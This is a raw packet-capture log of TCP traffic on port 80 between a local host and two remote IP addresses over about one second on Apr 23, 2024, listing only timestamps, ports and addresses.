Apr 23, 2024 09:38:14.294384003 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.294403076 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.294439077 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.294444084 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.294473886 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.294509888 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.294512033 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.294544935 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.294580936 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.294583082 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.294615984 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.294651985 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.294656038 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.294687033 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.294722080 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.294723988 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.294758081 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.294792891 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.294795036 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.294828892 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.294863939 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.294872046 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.294899940 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.294935942 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.294944048 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.294970989 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.295006037 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.295017958 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.295042038 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.295078039 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.295089006 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.295113087 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.295149088 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.295154095 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.295182943 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.295217991 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.295222998 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.295253992 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.295289040 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.295293093 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.295324087 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.295358896 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.295362949 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.295393944 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.295428991 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.295434952 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.295463085 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.295499086 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.295509100 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.295533895 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.295568943 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.295589924 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.295603037 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.295639038 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.295640945 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.295674086 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.295708895 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.295717955 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.295746088 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.295783043 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.295797110 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.295819044 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.295854092 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.295883894 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.295890093 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.295926094 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.295932055 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.295962095 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.296000004 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.296004057 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.296036005 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.296070099 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.296080112 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.296125889 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.296160936 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.296165943 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.296195984 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.296231031 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.296236992 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.296266079 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.296300888 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.296308041 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.296335936 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.296370983 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.296375990 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.296406984 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.296442032 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.296448946 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.296475887 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.296513081 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.296520948 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.296547890 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.296582937 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.296583891 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.296617985 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.296653986 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.296658993 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.296689034 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.296725035 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.296735048 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.296760082 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.296809912 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.296814919 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.296845913 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.296881914 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.296885967 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.296919107 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.296956062 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.296957970 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.296992064 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.297028065 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.297029972 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.297063112 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.297099113 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.297102928 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.297135115 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.297169924 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.297169924 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.297208071 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.297243118 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.297247887 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.297278881 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.297312975 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.297322989 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.297348976 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.297384024 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.297393084 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.297420979 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.297456980 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.297465086 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.297492981 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.297528982 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.297532082 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.297564030 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.297599077 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.297602892 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.297633886 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.297668934 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.297674894 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.297704935 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.297741890 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.297746897 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.297777891 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.297812939 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.297818899 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.297848940 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.297883987 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.297899961 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.297921896 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.297950029 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.297956944 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.297991991 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.298027992 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.298032999 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.298063040 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.298099041 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.298103094 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.298135042 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.298170090 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.298172951 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.298206091 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.298239946 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.298243046 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.298274994 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.298310995 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.298314095 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.298346996 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.298382998 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.298386097 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.298418045 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.298453093 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.298455954 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.298490047 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.298526049 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.298537016 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.298562050 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.298599005 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.298599958 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.298634052 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.298669100 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.298672915 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.298703909 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.298738003 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.298743010 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.298774004 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.298809052 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.298813105 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.298844099 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.298878908 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.298882961 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.298914909 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.298950911 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.298955917 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.298985004 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.299021959 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.299030066 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.299057961 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.299093008 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.299098015 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.319699049 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:14.319762945 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:14.319767952 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:14.319801092 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:14.319813013 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:14.319842100 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:14.319844007 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:14.319885015 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:14.342644930 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.473021984 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:14.473083019 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:14.473125935 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:14.473146915 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:14.473161936 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:14.473177910 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:14.473200083 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:14.473206043 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:14.473236084 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:14.473248959 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:14.473275900 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:14.473287106 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:14.473315954 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:14.473320007 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:14.473352909 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:14.473373890 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:14.473385096 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:14.497606993 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.497646093 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.497682095 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.497719049 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.497745037 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.497775078 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.503197908 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.503236055 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.503273010 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.503309011 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.503319979 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.503367901 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.503402948 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.503402948 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.503441095 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.503475904 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.503479958 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.503526926 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.503551960 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.503565073 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.503602028 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.503622055 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.503638029 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.503673077 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.503707886 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.503710032 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.503745079 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.503767014 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.503781080 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.503818035 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.503827095 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.503854990 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.503891945 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.503928900 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.503952980 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.503964901 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.503999949 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.504014015 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.504034996 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.504070044 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.504091024 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.504123926 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.504137039 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.504172087 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:14.504234076 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.504281044 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:14.520735025 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:14.520772934 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:14.520806074 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:14.520808935 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:14.520836115 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:14.520847082 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:14.520886898 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:14.674333096 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:14.674375057 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:14.674411058 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:14.674410105 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:14.674443007 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:14.674448967 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:14.674468040 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:14.674485922 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:14.674506903 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:14.674521923 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:14.674557924 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:14.674571037 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:14.674593925 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:14.674604893 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:14.674731970 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:14.721854925 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:14.721926928 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:14.721935987 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:14.721975088 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:14.721982956 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:14.722011089 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:14.722014904 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:14.722048044 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:14.722054958 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:14.722098112 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:14.875864983 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:14.875914097 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:14.875952959 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:14.875993967 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:14.875994921 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:14.876030922 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:14.876032114 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:14.876068115 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:14.876077890 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:14.876115084 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:14.876126051 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:14.876363039 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:14.923012018 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:14.923053026 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:14.923083067 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:14.923106909 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:14.923113108 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:14.923144102 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:14.923154116 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:14.923181057 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:14.923185110 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:14.923218012 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:14.923223972 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:14.923266888 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:15.077032089 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.077076912 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.077105999 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:15.077116013 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:15.077132940 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:15.077152967 CEST	80	49733	185.172.128.76	192.168.2.4
